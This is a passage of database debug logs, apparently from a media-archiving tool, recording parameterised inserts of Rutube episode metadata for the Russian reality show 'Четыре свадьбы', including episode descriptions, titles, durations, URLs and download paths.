примут участие в свадебном марафоне. Полина из Тюмени пообещала впечатлить конкуренток местом проведения торжества. Ольга из Москвы выбрала для своей свадьбы стиль «тусовка». У Махины из Москвы будет таджикская свадьба с национальными традициями. А фишкой свадьбы Анастасии из Самары станет первый танец молодых. Чьё мероприятие понравится участницам больше остальных, покажет программа «Четыре свадьбы».", "Таджикская свадьба VS Свадьба в стиле Гэтсби", "9cd3e0b0-a454-4968-8e5c-99a4cc41d0ac", "65f9872235f01fd5fe882782e122de5b", 5889, false, "https://rutube.ru/video/65f9872235f01fd5fe882782e122de5b/", 73, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e041100 - Таджикская свадьба VS Свадьба в стиле Гэтсби.mp4", false, false, false, 1, [], 1, ~U[2024-04-11 12:00:11Z], ~U[2025-12-09 11:36:16Z], ~U[2025-12-09 11:36:16Z], "4 невесты примут участие в свадебном марафоне. Полина из Тюмени пообещала впечатлить конкуренток местом проведения торжества. Ольга из Москвы выбрала для своей свадьбы стиль «тусовка». У Махины из Москвы будет таджикская свадьба с национальными традициями. А фишкой свадьбы Анастасии из Самары станет первый танец молодых. Чьё мероприятие понравится участницам больше остальных, покажет программа «Четыре свадьбы».", "Таджикская свадьба VS Свадьба в стиле Гэтсби", "65f9872235f01fd5fe882782e122de5b", 5889, false, "https://rutube.ru/video/65f9872235f01fd5fe882782e122de5b/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e041100 - Таджикская свадьба VS Свадьба в стиле Гэтсби.mp4", false, 1, ~U[2024-04-11 12:00:11Z]] 14:36:16.946 [debug] QUERY OK source="sources" db=2.0ms queue=0.1ms idle=64.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:16.950 [debug] QUERY OK source="media_items" db=2.1ms queue=0.1ms idle=46.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-04-18 12:20:12Z], 1] 14:36:16.975 [debug] QUERY OK source="media_items" db=23.7ms queue=0.1ms idle=32.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре невесты оценят мероприятия друг друга. Фишкой свадьбы Полины из Санкт-Петербурга станет приветственная зона на крыше. Виктория из Липецка со своим женихом подготовит интересный танец молодых. Мария из Нижнего Новгорода выберет для свадьбы классический стиль. А Динара из Казани будет удивлять шоу-программой. Как пройдут торжества девушек, покажет программа «Четыре свадьбы».", "Классические свадьбы", "e5e87cd4-3eab-42f2-8961-ff779fe64226", "bf3ecfabd9d612e8f695ec25ecbed83a", 5858, false, "https://rutube.ru/video/bf3ecfabd9d612e8f695ec25ecbed83a/", 74, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e041800 - Классические свадьбы.mp4", false, false, false, 1, [], 1, ~U[2024-04-18 12:20:12Z], ~U[2025-12-09 11:36:16Z], ~U[2025-12-09 11:36:16Z], "Четыре невесты оценят мероприятия друг друга. Фишкой свадьбы Полины из Санкт-Петербурга станет приветственная зона на крыше. Виктория из Липецка со своим женихом подготовит интересный танец молодых. Мария из Нижнего Новгорода выберет для свадьбы классический стиль. А Динара из Казани будет удивлять шоу-программой. Как пройдут торжества девушек, покажет программа «Четыре свадьбы».", "Классические свадьбы", "bf3ecfabd9d612e8f695ec25ecbed83a", 5858, false, "https://rutube.ru/video/bf3ecfabd9d612e8f695ec25ecbed83a/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e041800 - Классические свадьбы.mp4", false, 1, ~U[2024-04-18 12:20:12Z]] 14:36:16.992 [debug] QUERY OK source="sources" db=16.2ms queue=0.1ms idle=54.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:16.993 [debug] QUERY OK source="media_items" db=0.6ms idle=50.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-04-27 14:20:15Z], 1] 14:36:17.011 [debug] QUERY OK source="media_items" db=15.6ms queue=0.2ms idle=49.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Участницы оценят мероприятия конкуренток. У Ксении из Кирова будет свадьба в стиле «бирюзовое настроение». В Мурино пройдёт вдохновлённая дискотекой 80-х свадьба Светланы. Юлия из Зеленограда позовёт гостей на современную свадьбу с народными элементами. А Кристина из Череповца на своей свадьбе попробует удивить подарком для жениха. Какие ещё фишки подготовили невесты для своих мероприятий, покажет программа «Четыре свадьбы».", "Свадьба в стиле диско 80-х VS Свадьба с народными элементами", "f65b9df6-6a02-4b3d-abdb-6df40efee77d", "e85e558a2bc46cb089c494c95a27acb2", 6033, false, "https://rutube.ru/video/e85e558a2bc46cb089c494c95a27acb2/", 75, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e042700 - Свадьба в стиле диско 80-х VS Свадьба с народными элементами.mp4", false, false, false, 1, [], 1, ~U[2024-04-27 14:20:15Z], ~U[2025-12-09 11:36:16Z], ~U[2025-12-09 11:36:16Z], "Участницы оценят мероприятия конкуренток. У Ксении из Кирова будет свадьба в стиле «бирюзовое настроение». В Мурино пройдёт вдохновлённая дискотекой 80-х свадьба Светланы. Юлия из Зеленограда позовёт гостей на современную свадьбу с народными элементами. А Кристина из Череповца на своей свадьбе попробует удивить подарком для жениха. Какие ещё фишки подготовили невесты для своих мероприятий, покажет программа «Четыре свадьбы».", "Свадьба в стиле диско 80-х VS Свадьба с народными элементами", "e85e558a2bc46cb089c494c95a27acb2", 6033, false, "https://rutube.ru/video/e85e558a2bc46cb089c494c95a27acb2/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e042700 - Свадьба в стиле диско 80-х VS Свадьба с народными элементами.mp4", false, 1, ~U[2024-04-27 14:20:15Z]] 14:36:17.014 [debug] QUERY OK source="sources" db=3.0ms queue=0.1ms idle=62.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:17.015 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=39.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-05-16 14:20:10Z], 1] 14:36:17.032 [debug] QUERY OK source="media_items" db=15.4ms queue=0.1ms idle=23.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре невесты оценят свадьбы друг друга. Свадьба Леры из Санкт-Петербурга пройдет в кукольно-вампирском стиле. Юлия из Великого Новгорода пригласит всех на венчание. Фишкой свадьбы Анастасии из Тулы станет пицца вместо каравая. Регистрацию на свадьбе Наталии из Нижнего Новгорода проведет ведьма. Как пройдут торжества девушек, покажет программа «Четыре свадьбы».", "Свадьба в стиле мафии VS Кукольно-вампирская свадьба", "36e68b2b-318c-49dd-90ce-10e3aeb3fb58", "d6c2a3ae501a6f600c1fe0cac97352af", 6428, false, "https://rutube.ru/video/d6c2a3ae501a6f600c1fe0cac97352af/", 76, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e051600 - Свадьба в стиле мафии VS Кукольно-вампирская свадьба.mp4", false, false, false, 1, [], 1, ~U[2024-05-16 14:20:10Z], ~U[2025-12-09 11:36:17Z], ~U[2025-12-09 11:36:17Z], "Четыре невесты оценят свадьбы друг друга. Свадьба Леры из Санкт-Петербурга пройдет в кукольно-вампирском стиле. Юлия из Великого Новгорода пригласит всех на венчание. Фишкой свадьбы Анастасии из Тулы станет пицца вместо каравая. Регистрацию на свадьбе Наталии из Нижнего Новгорода проведет ведьма. Как пройдут торжества девушек, покажет программа «Четыре свадьбы».", "Свадьба в стиле мафии VS Кукольно-вампирская свадьба", "d6c2a3ae501a6f600c1fe0cac97352af", 6428, false, "https://rutube.ru/video/d6c2a3ae501a6f600c1fe0cac97352af/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e051600 - Свадьба в стиле мафии VS Кукольно-вампирская свадьба.mp4", false, 1, ~U[2024-05-16 14:20:10Z]] 14:36:17.055 [debug] QUERY OK source="sources" db=21.0ms queue=0.8ms idle=39.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:17.059 [debug] QUERY OK source="media_items" db=3.5ms queue=0.2ms idle=44.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-05-23 15:40:08Z], 1] 14:36:17.100 [debug] QUERY OK source="media_items" db=40.3ms idle=45.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре невесты оценят мероприятия друг друга. Полина из Москвы пригласит на свадьбу в тюремном стиле. Фишкой свадьбы Светланы из Геленджика станет танец невесты с подругами. Елена из Сочи пригласит на свадьбу импровизационный театр. А Екатерина из Тюмени выберет для своей свадьбы стиль Барби. Как пройдут торжества девушек, покажет программа «Четыре свадьбы».", "Свадьба в тюремном стиле VS Свадьба в танцевальном стиле", "25f72252-e222-4beb-b720-f963504ef8cd", "470b4d0ebca8bb7cd6151956b4ae5b73", 6456, false, "https://rutube.ru/video/470b4d0ebca8bb7cd6151956b4ae5b73/", 77, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e052300 - Свадьба в тюремном стиле VS Свадьба в танцевальном стиле.mp4", false, false, false, 1, [], 1, ~U[2024-05-23 15:40:08Z], ~U[2025-12-09 11:36:17Z], ~U[2025-12-09 11:36:17Z], "Четыре невесты оценят мероприятия друг друга. Полина из Москвы пригласит на свадьбу в тюремном стиле. Фишкой свадьбы Светланы из Геленджика станет танец невесты с подругами. Елена из Сочи пригласит на свадьбу импровизационный театр. А Екатерина из Тюмени выберет для своей свадьбы стиль Барби. Как пройдут торжества девушек, покажет программа «Четыре свадьбы».", "Свадьба в тюремном стиле VS Свадьба в танцевальном стиле", "470b4d0ebca8bb7cd6151956b4ae5b73", 6456, false, "https://rutube.ru/video/470b4d0ebca8bb7cd6151956b4ae5b73/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e052300 - Свадьба в тюремном стиле VS Свадьба в танцевальном стиле.mp4", false, 1, ~U[2024-05-23 15:40:08Z]] 14:36:17.105 [debug] QUERY OK source="sources" db=3.6ms queue=0.2ms idle=85.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:17.108 [debug] QUERY OK source="media_items" db=1.6ms queue=0.1ms idle=74.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-05-30 14:10:10Z], 1] 14:36:17.124 [debug] QUERY OK source="media_items" db=14.4ms queue=0.1ms idle=54.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["4 невесты пригласят друг друга на свои мероприятия. Фишкой свадьбы Дианы из станицы Северской станет появление молодых на фуре. Евгения из Стерлитамака устроит свадьбу «башкирских стиляг». Наталья из Гатчины удивит гостей сделанным своими руками тортом. А у Кристины из Санкт-Петербурга состоится свадьба в чёрно-белых тонах. Смотрите программу «Четыре свадьбы»!", "Свадьба башкирских стиляг VS Свадьба в стиле бохо", "dcff11a8-7c84-4682-8094-67e89599fc84", "d6463df5aba664b6eea36ca97072c165", 6095, false, "https://rutube.ru/video/d6463df5aba664b6eea36ca97072c165/", 78, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e053000 - Свадьба башкирских стиляг VS Свадьба в стиле бохо.mp4", false, false, false, 1, [], 1, ~U[2024-05-30 14:10:10Z], ~U[2025-12-09 11:36:17Z], ~U[2025-12-09 11:36:17Z], "4 невесты пригласят друг друга на свои мероприятия. Фишкой свадьбы Дианы из станицы Северской станет появление молодых на фуре. Евгения из Стерлитамака устроит свадьбу «башкирских стиляг». Наталья из Гатчины удивит гостей сделанным своими руками тортом. А у Кристины из Санкт-Петербурга состоится свадьба в чёрно-белых тонах. Смотрите программу «Четыре свадьбы»!", "Свадьба башкирских стиляг VS Свадьба в стиле бохо", "d6463df5aba664b6eea36ca97072c165", 6095, false, "https://rutube.ru/video/d6463df5aba664b6eea36ca97072c165/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e053000 - Свадьба башкирских стиляг VS Свадьба в стиле бохо.mp4", false, 1, ~U[2024-05-30 14:10:10Z]] 14:36:17.134 [debug] QUERY OK source="sources" db=8.5ms queue=0.2ms idle=66.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:17.135 [debug] QUERY OK source="media_items" db=0.6ms idle=34.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-18 04:10:12Z], 1] 14:36:17.139 [debug] QUERY OK source="media_items" db=3.2ms idle=31.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В каких стилях невесты организовывали свои свадьбы? Какие платья они выбирали, чем угощали гостей и как развлекали соперниц? Как прошли свадьбы в Турции, Казахстане и Узбекистане? И какие мероприятия стали самыми колоритными? Всё это мы вспомним в специальном выпуске программы «Четыре свадьбы».", "Четыре свадьбы: Свадебный марафон", "c40041c6-24e1-4fef-8ae7-26c15ae1d2e4", "4fe8fa2628ea7b112516583d3c5decf5", 9302, false, "https://rutube.ru/video/4fe8fa2628ea7b112516583d3c5decf5/", 79, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e071800 - Четыре свадьбы: Свадебный марафон.mp4", false, false, false, 1, [], 1, ~U[2024-07-18 04:10:12Z], ~U[2025-12-09 11:36:17Z], ~U[2025-12-09 11:36:17Z], "В каких стилях невесты организовывали свои свадьбы? Какие платья они выбирали, чем угощали гостей и как развлекали соперниц? Как прошли свадьбы в Турции, Казахстане и Узбекистане? И какие мероприятия стали самыми колоритными? Всё это мы вспомним в специальном выпуске программы «Четыре свадьбы».", "Четыре свадьбы: Свадебный марафон", "4fe8fa2628ea7b112516583d3c5decf5", 9302, false, "https://rutube.ru/video/4fe8fa2628ea7b112516583d3c5decf5/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e071800 - Четыре свадьбы: Свадебный марафон.mp4", false, 1, ~U[2024-07-18 04:10:12Z]] 14:36:17.158 [debug] QUERY OK source="sources" db=17.6ms queue=0.1ms idle=31.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:17.160 [debug] QUERY OK source="media_items" db=0.7ms queue=0.8ms idle=35.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-08-22 14:30:11Z], 1] 14:36:17.191 [debug] QUERY OK source="media_items" db=30.1ms idle=26.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Свадебный марафон начинается! Людмила из Электростали приглашает на диджейскую вечеринку. У Екатерины из Кыштыма будем свадьба в пиратском стиле. Мария из Перми устроит чёрно-белую вечеринку. А свадьба Жанны из Перми пройдёт в авиационном стиле. Какие фишки подготовили невесты для своих мероприятий, узнаем из программы «Четыре свадьбы».", "Свадьба в стиле авиации VS Пиратская свадьба", "8757ecd4-5a25-45f1-9c46-9df8cb0ed1fa", "bc6a01e28869a420f74b34871290250f", 6179, false, "https://rutube.ru/video/bc6a01e28869a420f74b34871290250f/", 80, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e082200 - Свадьба в стиле авиации VS Пиратская свадьба.mp4", false, false, false, 1, [], 1, ~U[2024-08-22 14:30:11Z], ~U[2025-12-09 11:36:17Z], ~U[2025-12-09 11:36:17Z], "Свадебный марафон начинается! Людмила из Электростали приглашает на диджейскую вечеринку. У Екатерины из Кыштыма будем свадьба в пиратском стиле. Мария из Перми устроит чёрно-белую вечеринку. А свадьба Жанны из Перми пройдёт в авиационном стиле. Какие фишки подготовили невесты для своих мероприятий, узнаем из программы «Четыре свадьбы».", "Свадьба в стиле авиации VS Пиратская свадьба", "bc6a01e28869a420f74b34871290250f", 6179, false, "https://rutube.ru/video/bc6a01e28869a420f74b34871290250f/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e082200 - Свадьба в стиле авиации VS Пиратская свадьба.mp4", false, 1, ~U[2024-08-22 14:30:11Z]] 14:36:17.194 [debug] QUERY OK source="sources" db=1.8ms queue=0.1ms idle=56.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:17.195 [debug] QUERY OK source="media_items" db=0.4ms idle=55.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-09-05 14:30:13Z], 1] 14:36:17.220 [debug] QUERY OK source="media_items" db=24.9ms idle=37.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Невесты отправляются в путешествие по четырём городам. В Москве пройдёт традиционная еврейская свадьба Кейлы. В Краснодаре участницы побывают на свадьбе-тусовке Евы. Татьяна позовёт соперниц в Пензу, чтобы отпраздновать её свадьбу в стиле стимпанк. А Юлия будет рада видеть гостей в Казани на своей классической свадьбе. Мероприятия девушек покажет программа «Четыре свадьбы».", "Еврейская свадьба VS Свадьба в стиле стимпанк", "d073f631-0329-4ea6-95c4-3062eeb5eecd", "5abcef38f825aead95827982f1eb251c", 6346, false, "https://rutube.ru/video/5abcef38f825aead95827982f1eb251c/", 81, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e090500 - Еврейская свадьба VS Свадьба в стиле стимпанк.mp4", false, false, false, 1, [], 1, ~U[2024-09-05 14:30:13Z], ~U[2025-12-09 11:36:17Z], ~U[2025-12-09 11:36:17Z], "Невесты отправляются в путешествие по четырём городам. В Москве пройдёт традиционная еврейская свадьба Кейлы. В Краснодаре участницы побывают на свадьбе-тусовке Евы. Татьяна позовёт соперниц в Пензу, чтобы отпраздновать её свадьбу в стиле стимпанк. А Юлия будет рада видеть гостей в Казани на своей классической свадьбе. Мероприятия девушек покажет программа «Четыре свадьбы».", "Еврейская свадьба VS Свадьба в стиле стимпанк", "5abcef38f825aead95827982f1eb251c", 6346, false, "https://rutube.ru/video/5abcef38f825aead95827982f1eb251c/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e090500 - Еврейская свадьба VS Свадьба в стиле стимпанк.mp4", false, 1, ~U[2024-09-05 14:30:13Z]] 14:36:17.225 [debug] QUERY OK source="sources" db=4.0ms queue=0.1ms idle=60.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:17.226 [debug] QUERY OK source="media_items" db=0.4ms idle=34.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-09-12 14:30:12Z], 1] 14:36:17.252 [debug] QUERY OK source="media_items" db=25.1ms idle=32.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Участницы «Четырёх свадеб» поедут в Моздок на армянское торжество Мариам. В Сочи девушки отпразднуют классическую свадьбу Екатерины. В Краснодаре пройдёт свадьба в королевском стиле Марии. А в Архангельске состоится свадьба «сборная солянка» Ксении. Чьё мероприятие станет самым впечатляющим, увидим в программе «Четыре свадьбы».", "Армянская свадьба VS Королевская свадьба", "f1798aca-b72f-44c6-a72f-ff64e7155cf1", "f3ac1af070b734d8e5c649ac3ef0ba8a", 6603, false, "https://rutube.ru/video/f3ac1af070b734d8e5c649ac3ef0ba8a/", 82, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e091200 - Армянская свадьба VS Королевская свадьба.mp4", false, false, false, 1, [], 1, ~U[2024-09-12 14:30:12Z], ~U[2025-12-09 11:36:17Z], ~U[2025-12-09 11:36:17Z], "Участницы «Четырёх свадеб» поедут в Моздок на армянское торжество Мариам. В Сочи девушки отпразднуют классическую свадьбу 